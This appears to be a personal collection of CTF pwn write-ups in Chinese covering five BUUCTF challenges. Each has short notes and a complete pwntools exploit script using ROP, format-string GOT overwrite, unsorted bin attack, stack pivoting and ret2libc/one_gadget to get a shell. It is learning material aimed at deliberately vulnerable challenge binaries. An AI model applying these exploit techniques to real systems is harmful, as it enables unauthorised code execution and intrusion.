wustctf2020_getshell_2
简单rop
from pwn import *
url, port = "node4.buuoj.cn", 25118
filename = "./wustctf2020_getshell_2"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
main_addr = elf.sym["main"]
system_addr = 0x08048529
sh_addr = 0x08048670
payload = cyclic(0x18 + 4) + p32(system_addr) + p32(sh_addr)
io.send(payload)
if __name__ == "__main__":
pwn()
io.interactive()
这里不用加返回地址再加sh, 因为call调用, 直接就用下一个栈数据作为参数
axb_2019_fmt32
在前面顶一个字符, 就可以得到第一个参数偏移为8, 利用格式化字符串漏洞任意读写, 先泄露libc, 然后ret2libc, 这里懒得逆向了, 知道大概程序有什么功能就可以直接开始利用
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 28080
filename = "./axb_2019_fmt32"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
context.log_level="debug"
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
printf_got = elf.got["printf"]
strlen_got = elf.got["strlen"]
payload = b"z" + p32(printf_got) + b"yy%8$s"
io.sendafter("tell me:", payload)
io.recvuntil(b"yy")
printf_addr = u32(io.recv(4))
log.info("printf addrese: %#x" % printf_addr)
libc = LibcSearcher("printf", printf_addr)
libc_base = printf_addr - libc.dump("printf")
system_addr = libc_base + libc.dump("system")
high_bytes = (system_addr >> 16) & 0xffff
low_bytes = system_addr & 0xffff
print('[+]sys_low:{}'.format(hex(low_bytes)))
print('[+]sys_high:{}'.format(hex(high_bytes)))
payload = b"z" + p32(strlen_got) + p32(strlen_got + 2)
payload += b"%" + str(low_bytes - 18).encode() + b"c%8$hn" # Repeater:zaddraddr 18 bytes
payload += b"%" + str(high_bytes - low_bytes).encode() + b"c%9$hn"
io.sendlineafter("tell me:", payload)
io.sendlineafter("tell me:", b";/bin/sh;")
if __name__ == "__main__":
pwn()
io.interactive()
这道题用python3打注意str转byte的方法是str.encode()
不是bytes()
另外卡点总结:
(1) c%8$hn
写错成c$8%hn
, 这里浪费了巨量时间呜呜
(2) 对python3的类型转换不够熟悉, 浪费巨量时间呜呜
hitcontraining_magicheap
edit这里有溢出
unsorted bin attack - unlink
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
控制chunk的bk指向magic - 0x10处, unlink后, 会在magic处写入一个大数, 通过检测, get shell
参考https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/
from pwn import *
url, port = "node4.buuoj.cn", 26284
filename = "./magicheap"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def Add(size, content):
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.send(content)
def Edit(idx, size, content):
io.recvuntil(":")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.send(content)
def Delete(idx):
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))
def pwn():
Add(0x10, "chunk0")
Add(0x80, "chunk1")
Add(0x10, "chunk2")
Delete(1)
magic = 0x00000000006020A0
fd = 0
bk = magic - 0x10
payload = cyclic(0x10) + p64(0) + p64(0x91) + p64(fd) + p64(bk)
Edit(0, 0x10 + 0x20, payload)
Add(0x80, "chunk1")
io.sendlineafter("choice :", "4869")
if __name__ == "__main__":
pwn()
io.interactive()
小结, unsorted bin attack, 总结起来就是通过控制bk来控制目标地址的数据
gyctf_2020_borrowstack
栈迁移, 泄露libc, ret2libc
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 28563
filename = "./gyctf_2020_borrowstack"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 1
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
main_addr = elf.sym["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
leave_ret_addr = 0x0000000000400699
pop_rdi_addr = 0x0000000000400703
bank_addr = 0x0000000000601080 + 0x80 # raise stack frame
ret_addr = 0x00000000004004c9
payload = cyclic(0x60) + p64(bank_addr) + p64(leave_ret_addr)
io.sendafter("what you want\n", payload)
payload = p64(ret_addr) * 20 + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter("stack now!\n", payload)
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
log.info("puts addresse: %#x" % puts_addr)
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x60) + p64(bank_addr) + p64(leave_ret_addr)
io.sendafter("what you want\n", payload)
payload = p64(ret_addr) * 20 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(main_addr)
io.sendlineafter("stack now!\n", payload)
if __name__ == "__main__":
pwn()
io.interactive()
但是! 这里由于bss段的到got表比较接近的缘故, 也可能是两次栈迁移的栈帧结构问题, ret2libc理论上似乎可以打通, 但是实际打不通, 具体原因需要调试分析, 所以实际打法还是用one gadget, 直接拿libc文件来用(官网有下载)
from pwn import *
url, port = "node4.buuoj.cn", 28563
filename = "./gyctf_2020_borrowstack"
elf = ELF(filename)
libc = ELF("/home/pwn/桌面/BUU-libc/libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
main_addr = elf.sym["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
leave_ret_addr = 0x0000000000400699
pop_rdi_addr = 0x0000000000400703
bank_addr = 0x0000000000601080 + 0x80 # raise stack frame
ret_addr = 0x00000000004004c9
one_gadget = 0x4526a # constraints: rax == NULL
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
payload = cyclic(0x60) + p64(bank_addr) + p64(leave_ret_addr)
io.sendafter("what you want\n", payload)
payload = p64(ret_addr) * 20 + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter("stack now!\n", payload)
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
log.info("puts addresse: %#x" % puts_addr)
libc_base = puts_addr - libc.sym["puts"]
one_gadget += libc_base
payload = cyclic(0x60 + 8) + p64(one_gadget)
io.sendafter("what you want\n", payload)
io.sendlineafter("stack now!\n", "falca")
if __name__ == "__main__":
pwn()
io.interactive()
双栈迁移到底行不行得通, to be continued…
ciscn_2019_s_4
栈迁移, 泄露ebp, 迁移到s[], 执行hack后门
这个ebp是上一个栈帧的ebp, 所以这个栈帧的ebp需要调试偏移量
from pwn import *
url, port = "node4.buuoj.cn", 27038
filename = "./ciscn_s_4"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 1
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
system_addr = elf.plt["system"]
leave_ret_addr = 0x080484b8
payload = cyclic(0x24) + b"zzzz"
io.sendafter("your name?\n", payload)
io.recvuntil(b"zzzz")
ebp_addr = u32(io.recv(4))
log.info("ebp address: %#x" % ebp_addr)
# B()
offset = 56
s_addr = ebp_addr - offset
payload = b"zzzz" + p32(system_addr) + b"zzzz" + p32(s_addr + 0x10) + b"/bin/sh\x00"
payload = payload.ljust(0x28, b"z") + p32(s_addr) + p32(leave_ret_addr)
io.send(payload)
if __name__ == "__main__":
pwn()
io.interactive()